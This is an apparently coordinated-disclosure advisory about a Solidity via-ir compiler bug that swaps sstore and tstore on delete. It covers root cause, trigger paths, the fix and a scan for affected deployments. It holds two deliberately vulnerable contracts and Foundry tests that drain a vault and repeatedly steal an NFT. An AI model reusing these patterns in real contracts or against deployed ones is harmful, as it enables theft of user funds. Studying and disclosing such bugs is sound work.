TL;DR -- A cache key collision in the Solidity compiler's via-ir code generator causes
deleteon transient variables to emitsstoreinstead oftstore, or conversely causes persistentdeleteto emittstoreinstead ofsstore. The direction depends on function selector ordering -- neither direction is safe. Affected versions: solc 0.8.28-0.8.33. Impact ranges from silent persistent storage corruption (fund drain, ownership theft, re-initialization, access control bypass, DoS) to persistent state not being cleared (permanent token approvals, reentrancy guard bypass). Fix: upgrade to solc 0.8.34+, recompile, redeploy.
In October 2024, the Solidity team released solc version 0.8.28, introducing first-class support for transient storage variables. With it, the compiler gained the ability to work with transient variables on a high level, in contrast to tstore and tload low-level functions that used to be the only way to use transient storage -- this also included using the delete keyword on those variables. But a one-line defect in the intermediate representation (IR) code generator began silently swapping those opcodes in smart contracts. The bug shipped in every release from 0.8.28 through 0.8.33. It required no exotic compiler flags beyond --via-ir, produced no warnings, and generated bytecode that passed every standard test suite.
We call this vulnerability TSTORE Poison -- the compiler's internal function cache is poisoned by the first delete encountered for a given type, and every subsequent delete of that type silently inherits the wrong storage opcode.
It went unnoticed for 18 months.
This article describes the root cause, the trigger conditions, the type system subtleties that widen the attack surface, and the real-world codebase examples. The last sections cover lessons learned, and also information on following incident response and acknowledgements.
[Fig. 01]

Background
The Solidity compiler's via-ir pipeline generates Yul as an intermediate representation before lowering to EVM bytecode. During IR generation, reusable Yul helper functions (ABI encoding, storage access, type conversion, etc.) are collected in a shared pool called MultiUseYulFunctionCollector. This avoids duplicating identical utility code and keeps the output compact.
The collector caches functions by name. When a utility function is requested, createFunction(name, creator) checks if a function with that name already exists. If not, it executes the creator callback to generate the function body and stores it. On subsequent calls with the same name, the cached body is returned as-is - the creator callback is never invoked again.
// libsolidity/codegen/MultiUseYulFunctionCollector.cpp
std::string MultiUseYulFunctionCollector::createFunction(
std::string const& _name,
std::function<std::string()> const& _creator
) {
if (!m_requestedFunctions.count(_name)) { // first call only
m_requestedFunctions.insert(_name);
std::string fun = _creator(); // generator runs once
m_code += std::move(fun);
}
return _name; // all calls return same name
}
This works correctly as long as the function name uniquely identifies the behavior. When it doesn't, you get a miscompilation.
Cache collision
storageSetToZeroFunction generates a helper that zeroes out a storage slot. Since Solidity 0.8.24, variables can live in two different storage domains: persistent (sstore/sload) and transient (tstore/tload). The function takes a _location parameter to distinguish them, but does not include it in the cache key:
// libsolidity/codegen/YulUtilFunctions.cpp
std::string YulUtilFunctions::storageSetToZeroFunction(
Type const& _type,
VariableDeclaration::Location _location // <-- used for codegen
) {
std::string const functionName = "storage_set_to_zero_" + _type.identifier();
return m_functionCollector.createFunction(functionName, [&]() {
// ...
("store", updateStorageValueFunction(_type, _type, _location))
// sstore or tstore depends on _location
// but only evaluated on FIRST call
});
}
Compare this to updateStorageValueFunction, which correctly differentiates:
std::string const functionName =
"update_" +
(_location == VariableDeclaration::Location::Transient ? "transient_"s : "") +
"storage_value_" + ...;
The result: when a contract has both a persistent and a transient variable of the same Solidity type, and both are deleted somewhere, the first delete encountered during IR generation poisons the cache for all subsequent deletes of that type. The second delete silently gets the wrong opcode - sstore where tstore was needed, or vice versa.
How the Collision Direction Is Determined
The compiler generates function bodies in a specific order. I traced this through the source:
-
dispatchRoutine()iterates_contract.interfaceFunctions(), which returnsstd::map<FixedHash<4>, FunctionTypePointer>- a map keyed by the 4-byte selector, so it's iterated in ascending selector order (FixedHash::operator<is lexicographic). -
For each entry,
generateExternalFunction()callsenqueueFunctionForCodeGeneration(), which pushes to the back ofm_functionGenerationQueue(astd::deque). -
generateQueuedFunctions()pops from the front (FIFO), so functions are processed in selector order. -
During body generation, utility functions like
storage_set_to_zero_t_addressare created inline the first time they're referenced. Whichever function body is generated first gets to set the cached implementation.
Bottom line: the external function with the lowest selector that contains a delete of a given type determines the cached opcode for all deletes of that type in the entire contract.
No compiler flag changes this. Not --optimize, not --optimize-runs, not --yul-optimizations. The ordering is baked into the selector values, the std::map sort, and the FIFO queue.
Trigger Conditions
The collision requires two ingredients in the same compilation unit (contract + inherited contracts) for some Solidity type T:
Part A - The transient side (the only way to create the tstore variant)
There is exactly one code path that calls storageSetToZeroFunction with Location::Transient:
// Any value type - address, uint256, bool, bytes32, etc.
address internal transient _cached;
delete _cached;
// compiler -> storageSetToZeroFunction(t_address, Location::Transient)
// generates: storage_set_to_zero_t_address using tstore
Transient arrays, mappings, and structs are not yet supported in Solidity - transient variables are always simple value types. So Part A is always just a delete on a transient state variable.
Part B - The persistent side (many code paths create the sstore variant)
Any operation that zeroes a persistent storage slot of type T calls storageSetToZeroFunction with Location::Unspecified, which generates the sstore variant. The compiler has a surprisingly large number of internal code paths that funnel into this single function. Here is the list:
1. delete a state variable
address _admin;
delete _admin;
2. delete a mapping value
mapping(uint256 => address) _approvals;
delete _approvals[tokenId];
3. delete a specific array element
address[] _whitelist;
delete _whitelist[i];
4. .pop() on a dynamic storage array - via storageArrayPopFunction
address[] _recipients;
_recipients.pop();
5. .pop() on bytes or string - via storageByteArrayPopFunction, collides on type uint8
bytes _data;
_data.pop();
// collides with: uint8 transient _flag; delete _flag;
6. Assigning a shorter memory array to a longer storage array - via copyArrayToStorageFunction -> resizeArrayFunction -> clearStorageRangeFunction
address[] _stored; // currently length 10
address[] memory short = new address[](3);
_stored = short; // copies 3 elements, then clears slots [3..9]
7. Assigning an empty array / new T[](0) to a storage array - same path as #6
address[] _list;
_list = new address[](0); // resizes to 0, clearing all element slots
8. delete an entire dynamic array - via clearStorageArrayFunction -> resizeArrayFunction
address[] _queue;
delete _queue; // sets length to 0, clears all element slots
9. delete a fixed-size array - via clearStorageArrayFunction -> clearStorageRangeFunction
address[5] _fixed;
delete _fixed; // clears all 5 slots
10. Shrinking a dynamic array via assembly - if the contract manually adjusts length
address[] _buf;
// shrinking from 10 to 5 through push/pop patterns or resize
// internally triggers clearStorageRangeFunction for the freed slots
11. delete a struct containing a member of type T - via clearStorageStructFunction
struct Position { address owner; uint256 amount; }
Position _pos;
delete _pos;
// clears each member individually:
// storageSetToZeroFunction(t_address, Unspecified) for .owner
// storageSetToZeroFunction(t_uint256, Unspecified) for .amount
12. delete a mapping value where the value type is a struct - combines #2 and #11
mapping(uint256 => Position) _positions;
delete _positions[id];
// triggers struct clear -> storageSetToZeroFunction for each member type
13. delete a nested struct - clearStorageStructFunction recurses into inner struct members
struct Inner { address recipient; }
struct Outer { Inner detail; uint256 value; }
Outer _data;
delete _data;
// clears Outer.detail.recipient -> storageSetToZeroFunction(t_address, Unspecified)
14. Overwriting a storage array with a shorter calldata array - same path as #6 via copyArrayToStorageFunction
function update(address[] calldata newList) external {
_stored = newList; // if newList.length < _stored.length, excess is cleared
}
15. Overwriting a storage string with a shorter one - same path as #6 via copyArrayToStorageFunction
function update(string memory newName) external {
_name = newName; // if newName is shorter than the old _name, excess slots are cleared
}
All 15 of these paths feed into storageSetToZeroFunction with Location::Unspecified, which produces the sstore variant of storage_set_to_zero_t_T.
IMPORTANT: the deletes don't even need to be in the same function or the same contract, one trigger component can be in a base contract, while another one can reside in a child contract!
When does it collide?
The collision fires when any entry from Part A and any entry from Part B exist in the same contract(or inheritance tree) for the same type T, compiled with --via-ir. Whichever is encountered first during IR generation (determined by function selector ordering as described above) caches its version, and the other silently gets the wrong opcode.
Type Matching: What Counts as "Same Type T"
The cache key is "storage_set_to_zero_" + _type.identifier(), where identifier() is the compiler's internal canonical name for each Solidity type. A reader might assume the persistent and transient variables must be declared with the exact same Solidity keyword for the collision to fire. That's not quite right - there are two layers.
Layer 1: Direct type identity
For direct delete on a variable, mapping value, or .pop(), the compiler uses the type annotation from the AST as-is. Each distinct Solidity type produces a distinct identifier:
| Solidity declaration | identifier() value | Cache key |
|---|---|---|
address | t_address | storage_set_to_zero_t_address |
address payable | t_address_payable | storage_set_to_zero_t_address_payable |
bool | t_bool | storage_set_to_zero_t_bool |
uint256 / uint | t_uint256 | storage_set_to_zero_t_uint256 |
uint128 | t_uint128 | storage_set_to_zero_t_uint128 |
uint8 | t_uint8 | storage_set_to_zero_t_uint8 |
int256 / int | t_int256 | storage_set_to_zero_t_int256 |
bytes32 | t_bytes32 | storage_set_to_zero_t_bytes32 |
bytes1 | t_bytes1 | storage_set_to_zero_t_bytes1 |
At this layer, the match is strict. address and address payable are different. uint256 and uint128 are different. Two different enum types are different. The collision requires both sides to resolve to the same identifier - so address transient _t collides with mapping(uint => address) _m; delete _m[k]; because both produce t_address.
Note that uint is an alias for uint256 (and int for int256), so they share the same identifier and always collide.
Layer 2: Array clearing type expansion - cross-type collision
This is the subtle part. When clearing or resizing a storage array, the compiler calls clearStorageRangeFunction, which has a type expansion step:
// YulUtilFunctions.cpp, line 1850
storageSetToZeroFunction(
_type.storageBytes() < 32 ? *TypeProvider::uint256() : _type,
VariableDeclaration::Location::Unspecified
)
If the array's base type occupies fewer than 32 bytes in storage, the compiler replaces it with uint256 before passing it to storageSetToZeroFunction. This means all of the following array operations produce storage_set_to_zero_t_uint256, regardless of the actual element type:
| Array declaration | Element storageBytes | Expanded to | Cache key |
|---|---|---|---|
bool[] | 1 | uint256 | storage_set_to_zero_t_uint256 |
uint8[] | 1 | uint256 | storage_set_to_zero_t_uint256 |
bytes1[] | 1 | uint256 | storage_set_to_zero_t_uint256 |
uint128[] | 16 | uint256 | storage_set_to_zero_t_uint256 |
int64[] | 8 | uint256 | storage_set_to_zero_t_uint256 |
address[] | 20 | uint256 | storage_set_to_zero_t_uint256 |
address payable[] | 20 | uint256 | storage_set_to_zero_t_uint256 |
bytes16[] | 16 | uint256 | storage_set_to_zero_t_uint256 |
MyEnum[] | 1 | uint256 | storage_set_to_zero_t_uint256 |
IERC20[] (contract) | 20 | uint256 | storage_set_to_zero_t_uint256 |
uint256[] | 32 | (no expansion) | storage_set_to_zero_t_uint256 |
bytes32[] | 32 | (no expansion) | storage_set_to_zero_t_bytes32 |
Any of these operations (delete arr, arr = shorterArray, resizing) will create or reuse storage_set_to_zero_t_uint256. This means a contract with:
bool[] _flags; // persistent, element type bool
uint256 transient _temp; // transient, type uint256
function clearFlags() external { delete _flags; } // expanded: bool -> uint256
function doWork() external { delete _temp; } // direct: uint256
...will have a collision between bool[] clearing and uint256 transient deletion, even though the source types are bool and uint256. The same applies to address[] + uint256 transient, IERC20[] + uint256 transient, and so on.
This expansion does not apply to .pop() - storageArrayPopFunction passes the actual base type without expansion. So address[] _a; _a.pop(); creates storage_set_to_zero_t_address, not t_uint256.
Similarly, clearStorageStructFunction only routes struct members with storageBytes >= 32 (i.e., uint256 and bytes32 -- all other value types are smaller) through storageSetToZeroFunction. Smaller members are zeroed with a direct sstore(slot, 0) that bypasses the cache entirely.
Key takeaway: The type expansion in
clearStorageRangeFunctionmeans that any contract with auint256 transientvariable and ANY dynamic array of ANY value type (bool[],address[],uint8[],IERC20[], etc.) is potentially vulnerable -- even though the source-level types appear completely unrelated. This dramatically widens the blast radius beyond what a naive "same type" analysis would find, and is the single most important detail for anyone assessing their own exposure.
Three methodological lessons:
-
Do not search only for
deletestatements. The persistent side can be triggered by any code path that callsstorageSetToZeroFunctioninternally - including string/bytes array assignments, dynamic array resizing (arr.length = n),arr.pop(), and struct clearing. The type expansion inclearStorageRangeFunctionmeans that deleting elements of typebytes1,uint8,address, or any value type smaller than 32 bytes all funnel intostorageSetToZeroFunction(uint256, Unspecified). -
Analyze the contract, with all its dependencies. The
MultiUseYulFunctionCollectoris instantiated per concrete contract compilation. When a contract is compiled, the compiler flattens its entire inheritance tree - every ancestor, every OpenZeppelin dependency, everyusing forlibrary - into a single IR output with a shared function collector. -
When in doubt, diff the IR. Compile each concrete contract with both the buggy and fixed compiler, then diff the Yul output. If any function is renamed from
storage_set_to_zero_t_*totransient_storage_set_to_zero_t_*, or if newupdate_transient_storage_value_*functions appear, the contract is affected. This is the most reliable detection method because it captures all indirect trigger paths - including ones invisible at the Solidity source level.
Proof of Concept 1: Re-initialization via Transient Delete
A vault with a transient reentrancy guard. transferFrom (selector 0x23b872dd) has a persistent delete address that caches sstore. Then deposit()'s modifier does delete _txSender (transient) which reuses the sstore version - zeroing persistent slot 0 (_owner) on every call.
Tested with forge test --via-ir - all pass
pragma solidity 0.8.29;
contract UpgradeableVault {
// ======== persistent storage ========
address internal _owner; // slot 0
uint256 internal _totalDeposits; // slot 1
mapping(uint256 => address) _nftApprovals; // slot 2 base
mapping(address => uint256) _balances; // slot 3 base
// ======== transient storage ========
address internal transient _txSender; // tslot 0
// this will be attacked
function initialize(address owner_) external {
require(_owner == address(0), "already initialized");
_owner = owner_;
}
function owner() external view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(msg.sender == _owner, "owner");
_;
}
function withdrawAll(address to) external onlyOwner {
uint256 bal = address(this).balance;
(bool ok, ) = to.call{value: bal}("");
require(ok);
}
// selector: 0x095ea7b3
function approve(address spender, uint256 id) external {
_nftApprovals[id] = spender;
}
// selector: 0x23b872dd
// Contains first "delete address" in the contract
// This caches storage_set_to_zero_t_address with sstore
function transferFrom(address from, address to, uint256 id) public {
require(
msg.sender == from || msg.sender == _nftApprovals[id],
"unauthorized"
);
// ... transfer logic ...
delete _nftApprovals[id]; // persistent delete address - CACHED FIRST
}
modifier senderGuard() {
require(_txSender == address(0), "reentrant");
_txSender = msg.sender;
_;
delete _txSender; // transient delete address reuses sstore
// this zeroes the address-sized portion of persistent slot 0 = _owner
}
// selector higher than transferFrom
function deposit() external payable senderGuard {
_balances[msg.sender] += msg.value;
_totalDeposits += msg.value;
}
function balanceOf(address user) external view returns (uint256) {
return _balances[user];
}
// helper (can be omitted)
function readTransient(bytes32 slot) external view returns (bytes32 result) {
assembly { result := tload(slot) }
}
receive() external payable {}
}
Test:
function test_FullAttack_ReInitAndDrain() public {
UpgradeableVault vault = new UpgradeableVault();
vault.initialize(admin); // admin = trusted deployer
vm.deal(alice, 100 ether);
vm.prank(alice);
vault.deposit{value: 50 ether}(); // deposit zeroes _owner
assertEq(vault.owner(), address(0)); // _owner is now zero
vm.prank(attacker);
vault.initialize(attacker); // re-initialization succeeds
assertEq(vault.owner(), attacker);
vm.prank(attacker);
vault.withdrawAll(attacker); // drain
assertEq(address(vault).balance, 0); // vault empty
}
[PASS] test_FullAttack_ReInitAndDrain() (gas: 112042)
Logs:
Stolen: 50 ETH
Attack sequence:
- Protocol deploys
UpgradeableVaultbehind a proxy, callsinitialize(trustedAdmin). - Users call
deposit(), accumulating ETH. Each call zeroes_owner. - Attacker calls
initialize(attackerAddress)- succeeds because_owner == 0. - Attacker calls
withdrawAll(attackerAddress)- drains the vault.
Proof of Concept 2: NFT Approval Not Cleared (Reverse Direction)
The reverse collision: execute(bytes) (selector 0x09c5eabe) contains a transient delete address that caches tstore. Then transferFrom (selector 0x23b872dd) tries to clear a persistent approval with delete _approvals[id] - but it uses tstore instead of sstore. The approval appears gone within the transaction but persists across transactions.
Tested with forge test --via-ir - all pass
Vulnerable contract (NFTMarket.sol):
pragma solidity 0.8.29;
contract NFTMarket {
// ======== persistent storage ========
mapping(uint256 => address) public nftOwner; // slot 0 base
mapping(uint256 => address) public approvals; // slot 1 base
// ======== transient storage ========
address internal transient _cachedCaller; // tslot 0
// for test setup
function mint(address to, uint256 id) external {
require(nftOwner[id] == address(0), "already minted");
nftOwner[id] = to;
}
function approve(address spender, uint256 id) external {
require(msg.sender == nftOwner[id], "not owner");
approvals[id] = spender;
}
// selector: 0x09c5eabe - lower than transferFrom
// Contains the first "delete address" in generation order.
// This caches storage_set_to_zero_t_address with TSTORE.
function execute(bytes calldata) external {
require(_cachedCaller == address(0), "reentrant");
_cachedCaller = msg.sender;
// callback logic
delete _cachedCaller; // transient delete address - CACHED FIRST with tstore
}
// selector: 0x23b872dd - higher than execute
// `delete approvals[id]` reuses the tstore version of storage_set_to_zero_t_address
function transferFrom(address from, address to, uint256 id) public {
require(nftOwner[id] == from, "wrong owner");
require(
msg.sender == from || msg.sender == approvals[id],
"unauthorized"
);
nftOwner[id] = to;
delete approvals[id];
// tstore(slot, 0) instead of sstore(slot, 0)
// approval appears cleared within this tx but persists across transactions.
}
// View helpers (can be omitted)
function getApproval(uint256 id) external view returns (address) {
return approvals[id];
}
function readSlot(bytes32 slot) external view returns (bytes32 result) {
assembly { result := sload(slot) }
}
function readTransient(bytes32 slot) external view returns (bytes32 result) {
assembly { result := tload(slot) }
}
}
Test:
contract PoC2_ApprovalPersistsTest is Test {
NFTMarket market;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address attacker = makeAddr("attacker");
uint256 constant NFT_ID = 1;
function setUp() public {
market = new NFTMarket();
market.mint(alice, NFT_ID);
assertEq(market.nftOwner(NFT_ID), alice);
}
// shows that after transferFrom, the approval is not cleared in persistent storage.
function test_PoC2_ApprovalSurvivesTransfer() public {
vm.prank(alice);
market.approve(attacker, NFT_ID);
assertEq(market.approvals(NFT_ID), attacker, "attacker approved");
// attacker transfers NFT from alice to bob (legitimate transfer)
vm.prank(attacker);
market.transferFrom(alice, bob, NFT_ID);
assertEq(market.nftOwner(NFT_ID), bob, "bob owns the NFT now");
// BUG approval should be cleared but it persists in persistent storage
address approvalAfter = market.approvals(NFT_ID);
console.log("Approval after transfer:", approvalAfter);
assertEq(approvalAfter, attacker, "BUG: approval was NOT cleared");
}
/// Full attack: attacker keeps stealing the NFT back after every transfer
function test_PoC2_RepeatedNFTTheft() public {
vm.prank(alice);
market.approve(attacker, NFT_ID);
// alice -> bob (legitimate)
vm.prank(attacker);
market.transferFrom(alice, bob, NFT_ID);
assertEq(market.nftOwner(NFT_ID), bob);
// approval should be gone - but it isn't (tstore instead of sstore).
// bob -> attacker (no new approval needed)
vm.prank(attacker);
market.transferFrom(bob, attacker, NFT_ID);
assertEq(market.nftOwner(NFT_ID), attacker, "attacker stole it from bob");
// Give it away again, then steal it back again
address charlie = makeAddr("charlie");
vm.prank(attacker);
market.transferFrom(attacker, charlie, NFT_ID);
// charlie -> attacker
vm.prank(attacker);
market.transferFrom(charlie, attacker, NFT_ID);
assertEq(market.nftOwner(NFT_ID), attacker, "stolen again");
console.log("Attacker stole NFT", NFT_ID, "repeatedly without re-approval");
}
/// Verify selectors to confirm the ordering that causes the collision
function test_PoC2_SelectorOrdering() public pure {
bytes4 execSel = NFTMarket.execute.selector;
bytes4 transferSel = NFTMarket.transferFrom.selector;
// execute(bytes) = 0x09c5eabe, transferFrom(...) = 0x23b872dd
assert(uint32(execSel) < uint32(transferSel));
}
}
Ran 3 tests for test/PoC2_ApprovalPersists.t.sol:PoC2_ApprovalPersistsTest
[PASS] test_PoC2_ApprovalSurvivesTransfer() (gas: 51985)
Logs:
Approval after transfer: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
[PASS] test_PoC2_RepeatedNFTTheft() (gas: 62031)
Logs:
Attacker stole NFT 1 repeatedly without re-approval
[PASS] test_PoC2_SelectorOrdering() (gas: 184)
Suite result: ok. 3 passed; 0 failed; 0 skipped
Result: An attacker who gets approved for an NFT once can steal it back from any future owner indefinitely, since the approval is never cleared from persistent storage.
Impact
Severity: Critical. The bug enables silent, permanent corruption of persistent storage through normal contract operation. No exploit transaction is needed -- any legitimate user interaction that triggers a transient delete can corrupt state. The collision works in both directions, and the direction is determined entirely by function selector ordering, which the developer has no practical control over.
No compiler warning, no runtime revert, no indication that the wrong opcode was emitted. Standard test suites won't catch it because foundry and hardhat don't default to --via-ir, and even when they do, the corruption manifests as state changes that look like logic bugs rather than compiler bugs.
The severity depends on what shares a persistent storage slot with the transient variable's tslot:
-
Slot 0-3 collision (most common): The transient
deleteemitssstoreto slot 0-3 instead oftstore, zeroing whatever persistent variable occupies that slot. This is frequentlyowner,_initialized,admin, or the base slot of a critical mapping. Enables re-initialization, ownership theft, access control bypass. -
Mapping base slot collision: If the transient tslot matches the base slot of a persistent mapping,
sstore(base, 0)modifies the mapping's underlying storage. Corrupts the mapping. -
Reentrancy guard bypass (reverse direction): If a persistent delete of a reentrancy flag uses
tstoreinstead ofsstore, the guard is only cleared in transient storage - the persistent flag is never properly managed, potentially disabling the guard entirely. -
NFT/token approval persistence (reverse direction): If
delete approvals[id]useststore, approvals are never cleared from persistent storage. A one-time approval becomes permanent, enabling repeated theft across transactions.
Detection Difficulty
The corruption cannot be detected by source-level audits, standard test suites, or runtime monitoring. The emitted bytecode differs by a single opcode (0x55 sstore vs 0x5d tstore), and the storage slot and value are both correct -- only the storage domain is wrong.
Formal verification tools such as Certora and Halmos would also not catch this. These tools model storage semantics at a higher abstraction level and assume the compiler correctly translates source-level operations into opcodes. When a delete on a transient variable is specified in the source, the formal model treats it as a transient store of zero -- the possibility that the compiler emits sstore instead of tstore is outside the model's trust boundary. The bug is invisible to any verification methodology that treats the compiler as a correct transformation.
On-chain monitoring services are equally blind. Transaction monitoring and anomaly detection tools operate on emitted events, call traces, and balance changes. So the storage corruption event will most likely remain unnoticed.
Am I Affected?
- Do you compile with
--via-ir(orviaIR: truein your framework config)? If no -- not affected. - Is your solc version between 0.8.28 and 0.8.33 (inclusive)? If no -- not affected.
- Does your contract (including all inherited contracts and libraries) use
deleteon atransientstate variable? If yes -- you are most likely vulnerable and should redeploy immediately.
The presence of a transient delete alone is a strong signal because the second trigger (a persistent-side delete or array/string operation of the same type) is extremely common in practice and can be difficult to rule out through manual review -- it may be buried in inherited contracts, OpenZeppelin dependencies, or generated through implicit compiler paths like string storage assignments and array resizing (see Part B of Trigger Conditions). If in doubt, you can thoroughly verify the absence of the second trigger, but given how many code paths feed into storageSetToZeroFunction, the safer course of action is to assume the collision exists and redeploy.
Recommended actions:
- Upgrade to solc 0.8.34 or later.
- Recompile all affected contracts.
- Verify the fix by diffing the Yul IR output between the old and new compiler (see below). If any
storage_set_to_zero_t_*function is renamed totransient_storage_set_to_zero_t_*, the contract was affected. - Redeploy affected contracts. For upgradeable proxies, deploy a new implementation and upgrade. Note: if persistent storage was already corrupted (e.g.,
_ownerzeroed by a previous transaction), upgrading the implementation alone does not restore the corrupted state -- a migration step may be needed to repair affected storage slots.
Check if you're using --via-ir:
| Framework | Where to check |
|---|---|
| Foundry | via_ir = true in foundry.toml under [profile.default] |
| Hardhat | viaIR: true in hardhat.config.js/ts under solidity.settings |
| Direct solc | --via-ir flag on the command line, or "viaIR": true in standard JSON input |
Verify by diffing the Yul IR output:
# Install both compiler versions (using svm or equivalent)
svm install 0.8.29 && svm use 0.8.29
solc --ir MyContract.sol > ir_buggy.yul
svm install 0.8.34 && svm use 0.8.34
solc --ir MyContract.sol > ir_fixed.yul
# Check for renamed functions - any match confirms the contract was affected
diff ir_buggy.yul ir_fixed.yul | grep -E "storage_set_to_zero|transient_storage_set_to_zero"
If the diff shows storage_set_to_zero_t_* functions being replaced by transient_storage_set_to_zero_t_* variants, the contract was affected and must be redeployed.
The Vulnerable Pattern Is Present in Real Codebases
The trigger pattern -- a transient variable combined with a persistent delete of the same type -- can be found in public repositories today. Two simple GitHub searches demonstrate the growing adoption of the transient keyword:
path:*.sol "delete t_"-- matches the common naming convention for transient variablespath:*.sol "delete transient"-- matches inline transient variable patterns
The timing of this report was fortunate. Adoption of the transient keyword by developers has been steadily increasing, but at the time of disclosure the affected projects were primarily in pre-production stage -- some on mainnets, but without significant assets at risk. All suspected projects were identified, reported, and given appropriate remediation guidelines before any funds were endangered.
Fix
Include the storage location in the cache key of storageSetToZeroFunction, matching the pattern already used by updateStorageValueFunction:
std::string const functionName =
(_location == VariableDeclaration::Location::Transient ? "transient_" : "") +
"storage_set_to_zero_" +
_type.identifier();
This produces distinct function names for persistent and transient variants:
storage_set_to_zero_t_address->update_storage_value_t_address_to_t_address(sstore)transient_storage_set_to_zero_t_address->update_transient_storage_value_t_address_to_t_address(tstore)
A one-line fix for a one-line bug.
Blast Radius, Historical Parallels, and Lessons for the Ecosystem
Discovering the blast radius of a bug on chain is a separate problem on its own.
Why this type of bug deserves special attention
A smart contract bug affects one protocol. A library bug affects every protocol that imports it. A compiler bug affects every contract compiled with the affected version, regardless of the developer's skill level, or the quality of their audits. The developer cannot see it, the auditor cannot see it, and the test suite will most likely not catch it (unless there is an extremely robust test harness in place) - because the bug lives below the abstraction layer everyone is looking at.
This isn't the first time the ecosystem has dealt with cascading infrastructure vulnerabilities:
Balancer Hack (2025): A vulnerability in Balancer's core pool contracts affected not only Balancer itself but dozens of forked protocols across multiple chains. Because the vulnerable code was widely copied and adapted, the incident response required coordinated disclosure across a number of independent projects.
Thirdweb Hack (2023): A vulnerability in thirdweb's smart contract library affected an estimated thousands of contracts deployed by developers who had used the library as a dependency. The blast radius was massive precisely because the vulnerable code was infrastructure - imported, not authored. The response required on-chain scanning to identify every affected deployment.
Vulnerable Libraries: It is not rare to see critical severity bugs being discovered in libraries/utility contracts. Discovering the list of affected projects is always one of the biggest issue post-report.
These incidents all share a common thread: the ability to rapidly discover and map the on-chain blast radius is critical to effective incident response. Without scalable tooling that can scan deployed bytecode across chains, coordinating disclosure becomes a race against time with incomplete information -- and incomplete information in this context means unnotified protocols with vulnerable contracts holding user funds. Building and maintaining this capability is not optional; it is a prerequisite for responsible handling of infrastructure-level vulnerabilities.
The unique challenge of this bug
What makes this bug particularly dangerous is the absence of signal. This bug produces bytecode that looks structurally correct - the only difference is a single opcode (0x55 vs 0x5d) at one point in the execution trace. The storage slot being written is correct. The value being written is correct. Only the storage domain is wrong.
Finding affected contracts requires either:
- Source-level static analysis that understands transient storage semantics, inheritance trees, and the compiler's IR generation order, or
- Bytecode-level analysis that can distinguish
sstorefromtstoreat specific code paths
Neither is available in standard tooling.
Blast Radius Discovery
During the incident response, we used Glider - our scalable smart contract analysis engine - to scan deployed contracts across integrated chains for the vulnerable pattern.
The detection methodology works in two stages:
Stage 1 - Version filtering: Identify contracts compiled with solc 0.8.28 through 0.8.33. Compiler version metadata is embedded in deployed bytecode, making this a reliable first filter that narrows the search space dramatically.
Stage 2 - Pattern matching: Among the version-matched contracts, identify those that contain both trigger components:
- Transient side: Presence of a
deleteoperation with backward dataflow to a transient variable. - Persistent side: The persistent-side trigger match was deliberately kept loose in the query logic, as the number of indirect code paths is large and a direct IR difference analysis is more efficient for definitive confirmation.
The scan covered more than 20 million deployed contracts across integrated chains. Approximately 500,000 were compiled with a vulnerable solc version (0.8.28-0.8.33) and --via-ir enabled. Of those, dozens matched the transient-side trigger pattern. After manual triage and IR-level verification, 4 projects were filtered as potentially vulnerable. All were contacted privately before public disclosure.
The query and its full documentation are available here: Glider query for TSTORE Poison detection
After the initial scan, we immediately put the query on automated watch - it now runs continuously against new deployments, acting as a 1-day detection layer for any contracts deployed with affected compiler versions that match the trigger pattern on the integrated blockchains.
Solidity/Argot team, SEAL911 help and Acknowledgments
We thank the Solidity/Argot team for their quick and professional incident response. From initial report to confirmed fix, the turnaround was exemplary.
We also thank the SEAL 911 members who participated in the coordinated disclosure and helped assess the blast radius, including the Dedaub team and their contract search infrastructure, which helped in searching for vulnerable patterns.
Coordinated Disclosure
This vulnerability was disclosed following a coordinated responsible disclosure process:
-
Discovery and private report. The bug was identified during a compiler source audit on 11-02-2026 and reported directly to the Solidity/Ethereum Foundation security team the following day via their security contact channel. No public disclosure was made at this stage.
-
Blast radius assessment. Within hours of the initial report, we initiated a scan of deployed contracts across integrated chains using Glider to identify potentially affected deployments. The results were shared with the Solidity team to inform the scope of the response.
-
SEAL 911 coordination. A SEAL 911 warroom was established on 13-02-2026 to coordinate cross-team response. This included the Solidity/Argot team, Dedaub, and other SEAL 911 members who assisted with blast radius discovery and direct outreach to affected protocol teams.
-
Affected protocol notification. All identified affected or potentially affected protocols were contacted privately and given remediation guidance (upgrade compiler, recompile, redeploy) before any public disclosure.
-
Embargo and public disclosure. Public disclosure was coordinated with the Solidity team's release of solc 0.8.34, which contains the fix. The embargo period allowed affected teams sufficient time to remediate before the vulnerability details became public.
We believe this process reflects best practices for infrastructure-level vulnerabilities in the blockchain ecosystem, where the blast radius is not limited to a single protocol and coordinated response is essential.
Timeline
| Date | Event |
|---|---|
| 11-02-2026 | Bug discovered during compiler source audit |
| 11-02-2026 | Reported to Solidity/Argot team |
| 12-02-2026 | Blast radius scan initiated via Glider |
| 13-02-2026 | Confirmed and SEAL911 warroom created |
| 13-02-2026 | Coordinated disclosure to affected protocols |
| 18-02-2026 | solc 0.8.34 released with fix |
| 18-02-2026 | Public disclosure |
Appendix: Affected Solidity Versions
| Version | Status |
|---|---|
| < 0.8.28 | Not affected (no transient keyword) |
| 0.8.28 | Affected |
| 0.8.29 | Affected |
| 0.8.30 | Affected |
| 0.8.31 | Affected |
| 0.8.32 | Affected |
| 0.8.33 | Affected |
| 0.8.34+ | Fixed |
The bug requires --via-ir (or viaIR: true in framework config). Contracts compiled with the default legacy pipeline are not affected regardless of version.
Table of contents
Background
Cache collision
How the Collision Direction Is Determined
Trigger Conditions
Part A - The transient side (the only way to create the `tstore` variant)
Part B - The persistent side (many code paths create the `sstore` variant)
When does it collide?
Type Matching: What Counts as "Same Type T"
Layer 1: Direct type identity
Layer 2: Array clearing type expansion - cross-type collision
Proof of Concept 1: Re-initialization via Transient Delete
Proof of Concept 2: NFT Approval Not Cleared (Reverse Direction)
Impact
Detection Difficulty
Am I Affected?
The Vulnerable Pattern Is Present in Real Codebases
Fix
Blast Radius, Historical Parallels, and Lessons for the Ecosystem
Why this type of bug deserves special attention
The unique challenge of this bug
Blast Radius Discovery
Solidity/Argot team, SEAL911 help and Acknowledgments
Coordinated Disclosure
Timeline
Appendix: Affected Solidity Versions
